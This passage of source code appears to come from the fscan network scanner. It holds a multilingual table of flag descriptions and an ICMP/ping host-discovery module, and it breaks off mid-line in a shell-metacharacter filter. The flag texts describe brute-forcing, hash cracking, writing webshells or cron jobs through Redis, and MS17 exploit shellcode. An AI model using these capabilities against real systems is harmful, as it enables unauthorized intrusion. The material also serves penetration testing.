LangRU: "Указать одно имя пользователя", }, "flag_password": { LangZH: "指定单个密码", LangEN: "Specify single password", LangJA: "単一パスワードを指定", LangRU: "Указать один пароль", }, "flag_domain": { LangZH: "指定域名(仅用于SMB协议)", LangEN: "Specify domain name (SMB protocol only)", LangJA: "ドメイン名を指定(SMBプロトコルのみ)", LangRU: "Указать доменное имя (только для протокола SMB)", }, "flag_ssh_key": { LangZH: "指定SSH私钥文件路径(默认为id_rsa)", LangEN: "Specify SSH private key file path (default: id_rsa)", LangJA: "SSH秘密鍵ファイルパスを指定(デフォルト: id_rsa)", LangRU: "Указать путь к файлу приватного ключа SSH (по умолчанию: id_rsa)", }, "flag_thread_num": { LangZH: "设置扫描线程数", LangEN: "Set number of scanning threads", LangJA: "スキャンスレッド数を設定", LangRU: "Установить количество потоков сканирования", }, "flag_timeout": { LangZH: "设置连接超时时间(单位:秒)", LangEN: "Set connection timeout (in seconds)", LangJA: "接続タイムアウトを設定(秒単位)", LangRU: "Установить таймаут соединения (в секундах)", }, "flag_live_top": { LangZH: "仅显示指定数量的存活主机", LangEN: "Show only specified number of alive hosts", LangJA: "指定した数の生存ホストのみを表示", LangRU: "Показать только указанное количество активных хостов", }, "flag_module_thread_num": { LangZH: "设置每个模块的最大线程数(默认:10)", LangEN: "Set maximum threads per module (default:10)", LangJA: "モジュールごとの最大スレッド数を設定(デフォルト:10)", LangRU: "Установить максимальное количество потоков на модуль (по умолчанию:10)", }, "flag_global_timeout": { LangZH: "设置全局扫描超时时间(单位:秒,默认:180)", LangEN: "Set global scan timeout (in seconds, default:180)", LangJA: "グローバルスキャンのタイムアウトを設定(秒単位、デフォルト:180)", LangRU: "Установить глобальный таймаут сканирования (в секундах, по умолчанию:180)", }, "flag_disable_ping": { LangZH: "禁用主机存活探测", LangEN: "Disable host alive detection", LangJA: "ホスト生存確認を無効化", LangRU: "Отключить обнаружение активных хостов", }, "flag_use_ping": { LangZH: "使用系统ping命令替代ICMP探测", LangEN: "Use system ping command instead of ICMP probe", LangJA: "ICMPプローブの代わりにシステムpingコマンドを使用", LangRU: "Использовать системную команду ping вместо ICMP-зондирования", }, "flag_enable_fingerprint": { LangZH: "跳过端口指纹识别", LangEN: "Skip port fingerprint identification", LangJA: "ポートフィンガープリント識別をスキップ", LangRU: "Пропустить идентификацию отпечатков портов", }, "flag_hosts_file": { LangZH: "从文件中读取目标主机列表", LangEN: "Read target host list from file", LangJA: "ファイルからターゲットホストリストを読み込む", LangRU: "Чтение списка целевых хостов из файла", }, "flag_users_file": { LangZH: "从文件中读取用户名字典", LangEN: "Read username dictionary from file", LangJA: "ファイルからユーザー名辞書を読み込む", LangRU: "Чтение словаря имен пользователей из файла", }, "flag_passwords_file": { LangZH: "从文件中读取密码字典", LangEN: "Read password dictionary from file", LangJA: "ファイルからパスワード辞書を読み込む", LangRU: "Чтение словаря паролей из файла", }, "flag_hash_file": { LangZH: "从文件中读取Hash字典", LangEN: "Read hash dictionary from file", LangJA: "ファイルからハッシュ辞書を読み込む", LangRU: "Чтение словаря хэшей из файла", }, "flag_ports_file": { LangZH: "从文件中读取端口列表", LangEN: "Read port list from file", LangJA: "ファイルからポートリストを読み込む", LangRU: "Чтение списка портов из файла", }, "flag_exclude_ports": { LangZH: "排除指定端口", LangEN: "Exclude specified ports", LangJA: "指定されたポートを除外する", LangRU: "Исключить указанные порты", }, "flag_target_url": { LangZH: "指定目标URL", LangEN: "Specify target URL", LangJA: "ターゲットURLを指定", LangRU: "Указать целевой URL", }, "flag_urls_file": { LangZH: "从文件中读取URL列表", LangEN: "Read URL list from file", LangJA: "ファイルからURLリストを読み込む", LangRU: "Чтение списка URL из файла", }, "flag_cookie": { LangZH: "设置HTTP请求Cookie", LangEN: "Set HTTP request cookie", LangJA: "HTTPリクエストのCookieを設定", LangRU: "Установить cookie HTTP-запроса", }, "flag_web_timeout": { LangZH: "设置Web请求超时时间(单位:秒)", LangEN: "Set Web request timeout (in seconds)", LangJA: "Webリクエストタイムアウトを設定(秒単位)", LangRU: "Установить таймаут веб-запроса (в секундах)", }, "flag_http_proxy": { LangZH: "设置HTTP代理服务器", LangEN: "Set HTTP proxy server", LangJA: "HTTPプロキシサーバーを設定", LangRU: "Установить HTTP прокси-сервер", }, "flag_socks5_proxy": { LangZH: "设置Socks5代理(用于TCP连接,将影响超时设置)", LangEN: "Set Socks5 proxy (for TCP connections, will affect timeout settings)", LangJA: "Socks5プロキシを設定(TCP接続用、タイムアウト設定に影響します)", LangRU: "Установить Socks5 прокси (для TCP соединений, влияет на настройки таймаута)", }, "flag_local_mode": { LangZH: "启用本地信息收集模式", LangEN: "Enable local information gathering mode", LangJA: "ローカル情報収集モードを有効化", LangRU: "Включить режим сбора локальной информации", }, // POC配置相关 "flag_poc_path": { LangZH: "指定自定义POC文件路径", LangEN: "Specify custom POC file path", LangJA: "カスタムPOCファイルパスを指定", LangRU: "Указать путь к пользовательскому файлу POC", }, "flag_poc_name": { LangZH: "指定要使用的POC名称,如: -pocname weblogic", LangEN: "Specify POC name to use, e.g.: -pocname weblogic", LangJA: "使用するPOC名を指定、例: -pocname weblogic", LangRU: "Указать имя используемого POC, например: -pocname weblogic", }, "flag_poc_full": { LangZH: "启用完整POC扫描(如测试shiro全部100个key)", LangEN: "Enable full POC scan (e.g. test all 100 shiro keys)", LangJA: "完全POCスキャンを有効化(例: shiroの全100キーをテスト)", LangRU: "Включить полное POC-сканирование (например, тест всех 100 ключей shiro)", }, "flag_dns_log": { LangZH: "启用dnslog进行漏洞验证", LangEN: "Enable dnslog for vulnerability verification", LangJA: "脆弱性検証にdnslogを有効化", LangRU: "Включить dnslog для проверки уязвимостей", }, "flag_poc_num": { LangZH: "设置POC扫描并发数", LangEN: "Set POC scan concurrency", LangJA: "POCスキャンの同時実行数を設定", LangRU: "Установить параллельность POC-сканирования", }, "flag_no_poc": { LangZH: "禁用POC扫描", LangEN: "Disable POC scanning", LangJA: "POCスキャンを無効にする", LangRU: "Отключить POC-сканирование", }, // Redis配置相关 "flag_redis_file": { LangZH: "指定Redis写入的SSH公钥文件", LangEN: "Specify SSH public key file for Redis write", LangJA: "Redis書き込み用のSSH公開鍵ファイルを指定", LangRU: "Указать файл публичного ключа SSH для записи Redis", }, "flag_redis_shell": { LangZH: "指定Redis写入的计划任务内容", LangEN: "Specify cron task content for Redis write", LangJA: "Redis書き込み用のcronタスク内容を指定", LangRU: "Указать содержимое cron-задачи для записи Redis", }, "flag_disable_redis": { LangZH: "禁用Redis安全检测", LangEN: "Disable Redis security detection", LangJA: "Redisセキュリティ検出を無効化", LangRU: "Отключить обнаружение безопасности Redis", }, "flag_redis_write_path": { LangZH: "指定Redis写入的文件路径(如:/var/www/html/shell.php)", LangEN: "Specify file path for Redis arbitrary write (e.g., /var/www/html/shell.php)", LangJA: "Redis書き込み用のファイルパスを指定(例:/var/www/html/shell.php)", LangRU: "Указать путь к файлу для произвольной записи Redis (например, /var/www/html/shell.php)", }, "flag_redis_write_content": { LangZH: "指定Redis写入的文件内容(与-rwp配合使用)", LangEN: "Specify content for Redis arbitrary write (use with -rwp)", LangJA: "Redis書き込み用の内容を指定(-rwpと併用)", LangRU: "Указать содержимое для произвольной записи Redis (использовать с -rwp)", }, "flag_redis_write_file": { LangZH: "指定Redis写入的本地文件路径(将文件内容写入-rwp指定的路径)", LangEN: "Specify local file to read content from for Redis write (written to path specified by -rwp)", LangJA: "Redis書き込み用のローカルファイルパスを指定(内容が-rwpで指定されたパスに書き込まれる)", LangRU: "Указать локальный файл для чтения содержимого для записи Redis (записывается по пути, указанному в -rwp)", }, // 暴力破解配置 "flag_disable_brute": { LangZH: "禁用密码暴力破解", LangEN: "Disable password brute force", LangJA: "パスワードブルートフォースを無効化", LangRU: "Отключить перебор паролей", }, "flag_max_retries": { LangZH: "设置最大重试次数", LangEN: "Set maximum retry attempts", LangJA: "最大再試行回数を設定", LangRU: "Установить максимальное количество попыток", }, // 其他配置 "flag_remote_path": { LangZH: "指定FCG/SMB远程文件路径", LangEN: "Specify FCG/SMB remote file path", LangJA: "FCG/SMBリモートファイルパスを指定", LangRU: "Указать удаленный путь к файлу FCG/SMB", }, "flag_hash_value": { LangZH: "指定要破解的Hash值", LangEN: "Specify hash value to crack", LangJA: "クラックするハッシュ値を指定", LangRU: "Указать хэш-значение для взлома", }, "flag_shellcode": { LangZH: "指定MS17漏洞利用的shellcode", LangEN: "Specify shellcode for MS17 exploit", LangJA: "MS17エクスプロイト用のシェルコードを指定", LangRU: "Указать шеллкод для эксплойта MS17", }, "flag_enable_wmi": { LangZH: "启用WMI协议扫描", LangEN: "Enable WMI protocol scan", LangJA: "WMIプロトコルスキャンを有効化", LangRU: "Включить сканирование протокола WMI", }, // 输出配置 "flag_output_file": { LangZH: "指定结果输出文件名", LangEN: "Specify output result filename", LangJA: "結果出力ファイル名を指定", LangRU: "Указать имя файла для вывода результатов", }, "flag_output_format": { LangZH: "指定输出格式 (txt/json/csv)", LangEN: "Specify output format (txt/json/csv)", LangJA: "出力形式を指定 (txt/json/csv)", LangRU: "Указать формат вывода (txt/json/csv)", }, "flag_disable_save": { LangZH: "禁止保存扫描结果", LangEN: "Disable saving scan results", LangJA: "スキャン結果の保存を無効化", LangRU: "Отключить сохранение результатов сканирования", }, "flag_silent_mode": { LangZH: "启用静默扫描模式(减少屏幕输出)", LangEN: "Enable silent scan mode (reduce screen output)", LangJA: "サイレントスキャンモードを有効化(画面出力を減らす)", LangRU: "Включить тихий режим сканирования (уменьшить вывод на экран)", }, "flag_no_color": { LangZH: "禁用彩色输出显示", LangEN: "Disable colored output display", LangJA: "カラー出力表示を無効化", LangRU: "Отключить цветной вывод", }, "flag_log_level": { LangZH: "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)", LangEN: "Log output level (ALL/SUCCESS/ERROR/INFO/DEBUG)", LangJA: "ログ出力レベル(ALL/SUCCESS/ERROR/INFO/DEBUG)", LangRU: "Уровень вывода журнала (ALL/SUCCESS/ERROR/INFO/DEBUG)", }, "flag_show_progress": { LangZH: "开启进度条显示", LangEN: "Enable progress bar display", LangJA: "プログレスバー表示を有効化", LangRU: "Включить отображение индикатора выполнения", }, "flag_show_scan_plan": { LangZH: "显示扫描计划详情", LangEN: "Show scan plan details", LangJA: "スキャン計画の詳細を表示する", LangRU: "Показать детали плана сканирования", }, "flag_slow_log_output": { LangZH: "启用慢速日志输出,便于肉眼观察", LangEN: "Enable slow log output for better visual observation", LangJA: "目視観察のための低速ログ出力を有効にする", LangRU: "Включить медленный вывод журнала для лучшего визуального наблюдения", }, "no_username_specified": { LangZH: "加载用户名: %d 个", LangEN: "Loaded usernames: %d", LangJA: "ユーザー名を読み込み: %d 個", LangRU: "Загружено имен пользователей: %d", }, "load_usernames_from_file": { LangZH: "从文件加载用户名: %d 个", LangEN: "Loaded usernames from file: %d", LangJA: "ファイルからユーザー名を読み込み: %d 個", LangRU: "Загружено имен пользователей из файла: %d", }, "total_usernames": { LangZH: "用户名总数: %d 个", LangEN: "Total usernames: %d", LangJA: "ユーザー名の総数: %d 個", LangRU: "Всего имен пользователей: %d", }, "load_passwords": { LangZH: "加载密码: %d 个", LangEN: "Loaded passwords: %d", LangJA: "パスワードを読み込み: %d 個", LangRU: "Загружено паролей: %d", }, "load_passwords_from_file": { LangZH: "从文件加载密码: %d 个", LangEN: "Loaded passwords from file: %d", LangJA: "ファイルからパスワードを読み込み: %d 個", LangRU: "Загружено паролей из файла: %d", }, "invalid_hash": { LangZH: "无效的哈希值: %s (长度!=32)", LangEN: "Invalid hash: %s (length!=32)", LangJA: "無効なハッシュ値: %s (長さ!=32)", LangRU: "Недопустимый хэш: %s (длина!=32)", }, "load_valid_hashes": { LangZH: "加载有效哈希值: %d 个", LangEN: "Loaded valid hashes: %d", LangJA: "有効なハッシュ値を読み込み: %d 個", LangRU: "Загружено допустимых хэшей: %d", }, "load_urls": { LangZH: "加载URL: %d 个", LangEN: "Loaded URLs: %d", LangJA: "URLを読み込み: %d 個", LangRU: "Загружено URL: %d", }, "load_urls_from_file": { LangZH: "从文件加载URL: %d 个", LangEN: "Loaded URLs from file: %d", LangJA: "ファイルからURLを読み込み: %d 個", LangRU: "Загружено URL из файла: %d", }, "load_hosts_from_file": { LangZH: "从文件加载主机: %d 个", LangEN: "Loaded hosts from file: %d", LangJA: "ファイルからホストを読み込み: %d 個", LangRU: "Загружено хостов из файла: %d", }, "load_ports_from_file": { LangZH: "从文件加载端口配置", LangEN: "Loaded ports from file", LangJA: "ファイルからポート設定を読み込み", LangRU: "Загружены порты из файла", }, "open_file_failed": { LangZH: "打开文件失败 %s: %v", LangEN: "Failed to open file %s: %v", LangJA: "ファイルを開けませんでした %s: %v", LangRU: "Не удалось открыть файл %s: %v", }, "read_file_failed": { LangZH: "读取文件错误 %s: %v", LangEN: "Error reading file %s: %v", LangJA: "ファイル読み込みエラー %s: %v", LangRU: "Ошибка чтения файла %s: %v", }, "read_file_success": { LangZH: "读取文件成功 %s: %d 行", LangEN: "Successfully read file %s: %d lines", LangJA: "ファイル読み込み成功 %s: %d 行", LangRU: "Успешно прочитан файл %s: %d строк", }, "specify_scan_params": { LangZH: "请指定扫描参数", LangEN: "Please specify scan parameters", LangJA: "スキャンパラメータを指定してください", LangRU: "Пожалуйста, укажите параметры сканирования", }, "params_conflict": { LangZH: "参数 -h、-u、-local 不能同时使用", LangEN: "Parameters -h, -u, -local cannot be used simultaneously", LangJA: "パラメータ -h、-u、-local は同時に使用できません", LangRU: "Параметры -h, -u, -local нельзя использовать одновременно", }, "extra_ports": { LangZH: "额外端口: %s", LangEN: "Extra ports: %s", LangJA: "追加ポート: %s", LangRU: "Дополнительные порты: %s", }, "extra_usernames": { LangZH: "额外用户名: %s", LangEN: "Extra usernames: %s", LangJA: "追加ユーザー名: %s", LangRU: "Дополнительные имена пользователей: %s", }, "extra_passwords": { LangZH: "额外密码: %s", LangEN: "Extra passwords: %s", LangJA: "追加パスワード: %s", LangRU: "Дополнительные пароли: %s", }, "socks5_proxy": { LangZH: "Socks5代理: %s", LangEN: "Socks5 proxy: %s", LangJA: "Socks5プロキシ: %s", LangRU: "Socks5 прокси: %s", }, "socks5_proxy_error": { LangZH: "Socks5代理格式错误: %v", LangEN: "Invalid Socks5 proxy format: %v", LangJA: "Socks5プロキシフォーマットエラー: %v", LangRU: "Неверный формат Socks5 прокси: %v", }, "http_proxy": { LangZH: "HTTP代理: %s", LangEN: "HTTP proxy: %s", LangJA: "HTTPプロキシ: %s", LangRU: "HTTP прокси: %s", }, "unsupported_proxy": { LangZH: "不支持的代理类型", LangEN: "Unsupported proxy type", LangJA: "サポートされていないプロキシタイプ", LangRU: "Неподдерживаемый тип прокси", }, "proxy_format_error": { LangZH: "代理格式错误: %v", LangEN: "Invalid proxy format: %v", LangJA: "プロキシフォーマットエラー: %v", LangRU: "Неверный формат прокси: %v", }, "hash_length_error": { LangZH: "Hash长度必须为32位", LangEN: "Hash length must be 32 bits", LangJA: "ハッシュ長は32ビットでなければなりません", LangRU: "Длина хэша должна быть 32 бита", }, "hash_decode_failed": { LangZH: "Hash解码失败: %s", LangEN: "Hash decode failed: %s", LangJA: "ハッシュのデコードに失敗: %s", LangRU: "Не удалось декодировать хэш: %s", }, "parse_ip_error": { LangZH: "主机解析错误\n" + "支持的格式: \n" + "192.168.1.1 (单个IP)\n" + "192.168.1.1/8 (8位子网)\n" + "192.168.1.1/16 (16位子网)\n" + "192.168.1.1/24 (24位子网)\n" + "192.168.1.1,192.168.1.2 (IP列表)\n" + "192.168.1.1-192.168.255.255 (IP范围)\n" + "192.168.1.1-255 (最后一位简写范围)", LangEN: "Host parsing error\n" + "Supported formats: \n" + "192.168.1.1 (Single IP)\n" + "192.168.1.1/8 (8-bit subnet)\n" + "192.168.1.1/16 (16-bit subnet)\n" + "192.168.1.1/24 (24-bit subnet)\n" + "192.168.1.1,192.168.1.2 (IP list)\n" + "192.168.1.1-192.168.255.255 (IP range)\n" + "192.168.1.1-255 (Last octet range)", LangJA: "ホスト解析エラー\n" + "サポートされる形式: \n" + "192.168.1.1 (単一IP)\n" + "192.168.1.1/8 (8ビットサブネット)\n" + "192.168.1.1/16 (16ビットサブネット)\n" + "192.168.1.1/24 (24ビットサブネット)\n" + "192.168.1.1,192.168.1.2 (IPリスト)\n" + "192.168.1.1-192.168.255.255 (IP範囲)\n" + "192.168.1.1-255 (最後のオクテット範囲)", LangRU: "Ошибка разбора хоста\n" + "Поддерживаемые форматы: \n" + "192.168.1.1 (Одиночный IP)\n" + "192.168.1.1/8 (8-битная подсеть)\n" + "192.168.1.1/16 (16-битная подсеть)\n" + "192.168.1.1/24 (24-битная подсеть)\n" + "192.168.1.1,192.168.1.2 (Список IP)\n" + "192.168.1.1-192.168.255.255 (Диапазон IP)\n" + "192.168.1.1-255 (Диапазон последнего октета)", }, "host_port_parsed": { LangZH: "已解析主机端口组合,端口设置为: %s", LangEN: "Host port combination parsed, port set to: %s", LangJA: "ホストポートの組み合わせを解析し、ポートを設定: %s", LangRU: "Комбинация хост-порт разобрана, порт установлен на: %s", }, "read_host_file_failed": { LangZH: "读取主机文件失败: %v", LangEN: "Failed to read host file: %v", LangJA: "ホストファイルの読み取りに失敗: %v", LangRU: "Не удалось прочитать файл хостов: %v", }, "extra_hosts_loaded": { LangZH: "从文件加载额外主机: %d 个", LangEN: "Loaded extra hosts from file: %d", LangJA: "ファイルから追加ホストを読み込み: %d", LangRU: "Загружено дополнительных хостов из файла: %d", }, "hosts_excluded": { LangZH: "已排除指定主机: %d 个", LangEN: "Excluded specified hosts: %d", LangJA: "指定されたホストを除外: %d", LangRU: "Исключено указанных хостов: %d", }, "final_valid_hosts": { LangZH: "最终有效主机数量: %d", LangEN: "Final valid host count: %d", LangJA: "最終的な有効ホスト数: %d", LangRU: "Итоговое количество действительных хостов: %d", }, "invalid_ip_format": { LangZH: "无效的IP格式: %s", LangEN: "Invalid IP format: %s", LangJA: "無効なIP形式: %s", LangRU: "Неверный формат IP: %s", }, "cidr_parse_failed": { LangZH: "CIDR格式解析失败: %s, %v", LangEN: "CIDR format parse failed: %s, %v", LangJA: "CIDR形式の解析に失敗: %s, %v", LangRU: "Ошибка разбора формата CIDR: %s, %v", }, "parse_cidr_to_range": { LangZH: "解析CIDR %s -> IP范围 %s", LangEN: "Parse CIDR %s -> IP range %s", LangJA: "CIDR %s -> IP範囲 %s を解析", LangRU: "Разбор CIDR %s -> диапазон IP %s", }, "ip_range_format_error": { LangZH: "IP范围格式错误: %s", LangEN: "IP range format error: %s", LangJA: "IP範囲形式エラー: %s", LangRU: "Ошибка формата диапазона IP: %s", }, "invalid_ip_range": { LangZH: "IP范围无效: %d-%d", LangEN: "Invalid IP range: %d-%d", LangJA: "無効なIP範囲: %d-%d", LangRU: "Недопустимый диапазон IP: %d-%d", }, "generate_ip_range": { LangZH: "生成IP范围: %s.%d - %s.%d", LangEN: "Generate IP range: %s.%d - %s.%d", LangJA: "IP範囲を生成: %s.%d - %s.%d", LangRU: "Создание диапазона IP: %s.%d - %s.%d", }, "ip_format_error": { LangZH: "IP格式错误: %s", LangEN: "IP format error: %s", LangJA: "IP形式エラー: %s", LangRU: "Ошибка формата IP: %s", }, "cidr_range": { LangZH: "CIDR范围: %s", LangEN: "CIDR range: %s", LangJA: "CIDR範囲: %s", LangRU: "Диапазон CIDR: %s", }, "invalid_port": { LangZH: "忽略无效端口: %s", LangEN: "Ignore invalid port: %s", LangJA: "無効なポートを無視: %s", LangRU: "Игнорирование недопустимого порта: %s", }, "parse_ip_port": { LangZH: "解析IP端口组合: %s", LangEN: "Parse IP port combination: %s", LangJA: "IPポートの組み合わせを解析: %s", LangRU: "Разбор комбинации IP-порт: %s", }, "parse_ip_address": { LangZH: "解析IP地址: %s", LangEN: "Parse IP address: %s", LangJA: "IPアドレスを解析: %s", LangRU: "Разбор IP-адреса: %s", }, "read_file_error": { LangZH: "读取文件错误: %v", LangEN: "Read file error: %v", LangJA: "ファイル読み取りエラー: %v", LangRU: "Ошибка чтения файла: %v", }, "file_parse_complete": { LangZH: "从文件解析完成: %d 个IP地址", LangEN: "File parsing complete: %d IP addresses", LangJA: "ファイルの解析が完了: %d 個のIPアドレス", LangRU: "Разбор файла завершен: %d IP-адресов", }, "parse_subnet": { LangZH: "解析网段: %s.0.0.0/8", LangEN: "Parse subnet: %s.0.0.0/8", LangJA: "サブネットを解析: %s.0.0.0/8", LangRU: "Разбор подсети: %s.0.0.0/8", }, "sample_ip_generated": { LangZH: "生成采样IP: %d 个", LangEN: "Generated sample IPs: %d", LangJA: "サンプルIPを生成: %d 個", LangRU: "Сгенерировано примеров IP: %d", }, "port_range_format_error": { LangZH: "端口范围格式错误: %s", LangEN: "Invalid port range format: %s", LangJA: "ポート範囲フォーマットエラー: %s", LangRU: "Неверный формат диапазона портов: %s", }, "ignore_invalid_port": { LangZH: "忽略无效端口: %d", LangEN: "Ignore invalid port: %d", LangJA: "無効なポートを無視: %d", LangRU: "Игнорирование недопустимого порта: %d", }, "valid_port_count": { LangZH: "有效端口数量: %d", LangEN: "Valid port count: %d", LangJA: "有効なポート数: %d", LangRU: "Количество действительных портов: %d", }, "tcp_conn_failed": { LangZH: "建立TCP连接失败: %v", LangEN: "Failed to establish TCP connection: %v", LangJA: "TCP接続の確立に失敗しました: %v", LangRU: "Не удалось установить TCP-соединение: %v", }, "socks5_create_failed": { LangZH: "创建Socks5代理失败: %v", LangEN: "Failed to create Socks5 proxy: %v", LangJA: "Socks5プロキシの作成に失敗しました: %v", LangRU: "Не удалось создать прокси Socks5: %v", }, "socks5_conn_failed": { LangZH: "通过Socks5建立连接失败: %v", LangEN: "Failed to establish connection through Socks5: %v", LangJA: "Socks5経由での接続確立に失敗しました: %v", LangRU: "Не удалось установить соединение через Socks5: %v", }, "socks5_parse_failed": { LangZH: "解析Socks5代理地址失败: %v", LangEN: "Failed to parse Socks5 proxy address: %v", LangJA: "Socks5プロキシアドレスの解析に失敗しました: %v", LangRU: "Не удалось разобрать адрес прокси Socks5: %v", }, "socks5_only": { LangZH: "仅支持socks5代理", LangEN: "Only socks5 proxy is supported", LangJA: "socks5プロキシのみサポートされています", LangRU: "Поддерживается только прокси socks5", }, "flag_language": { LangZH: "指定界面语言 (zh:中文, en:英文, ja:日文, ru:俄文)", LangEN: "Specify interface language (zh:Chinese, en:English, ja:Japanese, ru:Russian)", LangJA: "インターフェース言語を指定 (zh:中国語, en:英語, ja:日本語, ru:ロシア語)", LangRU: "Указать язык интерфейса (zh:Китайский, en:Английский, ja:Японский, ru:Русский)", }, "icmp_listen_failed": { LangZH: "ICMP监听失败: %v", LangEN: "ICMP listen failed: %v", LangJA: "ICMPリッスンに失敗: %v", LangRU: "Ошибка прослушивания ICMP: %v", }, "trying_no_listen_icmp": { LangZH: "正在尝试无监听ICMP探测...", LangEN: "Trying ICMP probe without listening...", LangJA: "リッスンなしICMP探知を試みています...", LangRU: "Пробуем ICMP-зондирование без прослушивания...", }, "icmp_connect_failed": { LangZH: "ICMP连接失败: %v", LangEN: "ICMP connection failed: %v", LangJA: "ICMP接続に失敗: %v", LangRU: "Ошибка подключения ICMP: %v", }, "insufficient_privileges": { LangZH: "当前用户权限不足,无法发送ICMP包", LangEN: "Insufficient privileges to send ICMP packets", LangJA: "ICMPパケットを送信する権限が不足しています", LangRU: "Недостаточно прав для отправки ICMP-пакетов", }, "switching_to_ping": { LangZH: "切换为PING方式探测...", LangEN: "Switching to PING probe...", LangJA: "PING探知に切り替えています...", LangRU: "Переключение на PING-зондирование...", }, "subnet_16_alive": { LangZH: "%s.0.0/16 存活主机数: %d", LangEN: "%s.0.0/16 alive hosts: %d", LangJA: "%s.0.0/16 生存ホスト数: %d", LangRU: "%s.0.0/16 живых хостов: %d", }, "subnet_24_alive": { LangZH: "%s.0/24 存活主机数: %d", LangEN: "%s.0/24 alive hosts: %d", LangJA: "%s.0/24 生存ホスト数: %d", LangRU: "%s.0/24 живых хостов: %d", }, "target_alive": { LangZH: "目标 %-15s 存活 (%s)", LangEN: "Target %-15s is alive (%s)", LangJA: "ターゲット %-15s は生存 (%s)", LangRU: "Цель %-15s жива (%s)", }, } // 当前语言设置 var currentLang = LangZH func SetLanguage() { // 使用flag设置的语言 switch strings.ToLower(Language) { case LangZH, LangEN, LangJA, LangRU: currentLang = strings.ToLower(Language) default: currentLang = LangEN // 不支持的语言默认使用英文 } } // GetText 获取指定key的当前语言文本 func GetText(key string, args ...interface{}) string { if texts, ok := i18nMap[key]; ok { if text, ok := texts[currentLang]; ok { if len(args) > 0 { return fmt.Sprintf(text, args...) } return text } } return key } ================================================ FILE: Core/ICMP.go ================================================ package Core import ( "bytes" "fmt" "github.com/shadow1ng/fscan/Common" "golang.org/x/net/icmp" "net" "os/exec" "runtime" "strings" "sync" "time" ) var ( AliveHosts []string // 存活主机列表 ExistHosts = make(map[string]struct{}) // 已发现主机记录 livewg sync.WaitGroup // 存活检测等待组 ) // CheckLive 检测主机存活状态 func CheckLive(hostslist []string, Ping bool) []string { // 创建主机通道 chanHosts := make(chan string, len(hostslist)) // 处理存活主机 go handleAliveHosts(chanHosts, hostslist, Ping) // 根据Ping参数选择检测方式 if Ping { // 使用ping方式探测 RunPing(hostslist, chanHosts) } else { probeWithICMP(hostslist, chanHosts) } // 等待所有检测完成 livewg.Wait() close(chanHosts) // 输出存活统计信息 printAliveStats(hostslist) return AliveHosts } // IsContain 检查切片中是否包含指定元素 func IsContain(items []string, item string) bool { for _, eachItem := range items { if eachItem == item { return true } } return false } func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) { for ip := range chanHosts { if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { ExistHosts[ip] = struct{}{} AliveHosts = append(AliveHosts, ip) // 使用Output系统保存存活主机信息 protocol := "ICMP" if isPing { protocol = "PING" } result := &Common.ScanResult{ Time: time.Now(), Type: Common.HOST, Target: ip, Status: "alive", Details: map[string]interface{}{ "protocol": protocol, }, } Common.SaveResult(result) // 保留原有的控制台输出 if !Common.Silent { Common.LogInfo(Common.GetText("target_alive", ip, protocol)) } } livewg.Done() } } // probeWithICMP 使用ICMP方式探测 func probeWithICMP(hostslist []string, chanHosts chan string) { // 尝试监听本地ICMP conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") if err == nil { RunIcmp1(hostslist, conn, chanHosts) return } Common.LogError(Common.GetText("icmp_listen_failed", err)) Common.LogBase(Common.GetText("trying_no_listen_icmp")) // 尝试无监听ICMP探测 conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) if err == nil { defer conn2.Close() RunIcmp2(hostslist, chanHosts) return } Common.LogBase(Common.GetText("icmp_connect_failed", err)) Common.LogBase(Common.GetText("insufficient_privileges")) Common.LogBase(Common.GetText("switching_to_ping")) // 降级使用ping探测 RunPing(hostslist, chanHosts) } // printAliveStats 打印存活统计信息 func printAliveStats(hostslist []string) { // 大规模扫描时输出 /16 网段统计 if len(hostslist) > 1000 { arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true) for i := 0; i < len(arrTop); i++ { Common.LogInfo(Common.GetText("subnet_16_alive", arrTop[i], arrLen[i])) } } // 输出 /24 网段统计 if len(hostslist) > 256 { arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false) for i := 0; i < len(arrTop); i++ { Common.LogInfo(Common.GetText("subnet_24_alive", arrTop[i], arrLen[i])) } } } // RunIcmp1 使用ICMP批量探测主机存活(监听模式) func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) { endflag := false // 启动监听协程 go func() { for { if endflag { return } // 接收ICMP响应 msg := make([]byte, 100) _, sourceIP, _ := conn.ReadFrom(msg) if sourceIP != nil { livewg.Add(1) chanHosts <- sourceIP.String() } } }() // 发送ICMP请求 for _, host := range hostslist { dst, _ := net.ResolveIPAddr("ip", host) IcmpByte := makemsg(host) conn.WriteTo(IcmpByte, dst) } // 等待响应 start := time.Now() for { // 所有主机都已响应则退出 if len(AliveHosts) == len(hostslist) { break } // 根据主机数量设置超时时间 since := time.Since(start) wait := time.Second * 6 if len(hostslist) <= 256 { wait = time.Second * 3 } if since > wait { break } } endflag = true conn.Close() } // RunIcmp2 使用ICMP并发探测主机存活(无监听模式) func RunIcmp2(hostslist []string, chanHosts chan string) { // 控制并发数 num := 1000 if len(hostslist) < num { num = len(hostslist) } var wg sync.WaitGroup limiter := make(chan struct{}, num) // 并发探测 for _, host := range hostslist { wg.Add(1) limiter <- struct{}{} go func(host string) { defer func() { <-limiter wg.Done() }() if icmpalive(host) { livewg.Add(1) chanHosts <- host } }(host) } wg.Wait() close(limiter) } // icmpalive 检测主机ICMP是否存活 func icmpalive(host string) bool { startTime := time.Now() // 建立ICMP连接 conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second) if err != nil { return false } defer conn.Close() // 设置超时时间 if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil { return false } // 构造并发送ICMP请求 msg := makemsg(host) if _, err := conn.Write(msg); err != nil { return false } // 接收ICMP响应 receive := make([]byte, 60) if _, err := conn.Read(receive); err != nil { return false } return true } // RunPing 使用系统Ping命令并发探测主机存活 func RunPing(hostslist []string, chanHosts chan string) { var wg sync.WaitGroup // 限制并发数为50 limiter := make(chan struct{}, 50) // 并发探测 for _, host := range hostslist { wg.Add(1) limiter <- struct{}{} go func(host string) { defer func() { <-limiter wg.Done() }() if ExecCommandPing(host) { livewg.Add(1) chanHosts <- host } }(host) } wg.Wait() } // ExecCommandPing 执行系统Ping命令检测主机存活 func ExecCommandPing(ip string) bool { // 过滤黑名单字符 forbiddenChars := []string{";", "&", "|", "`", 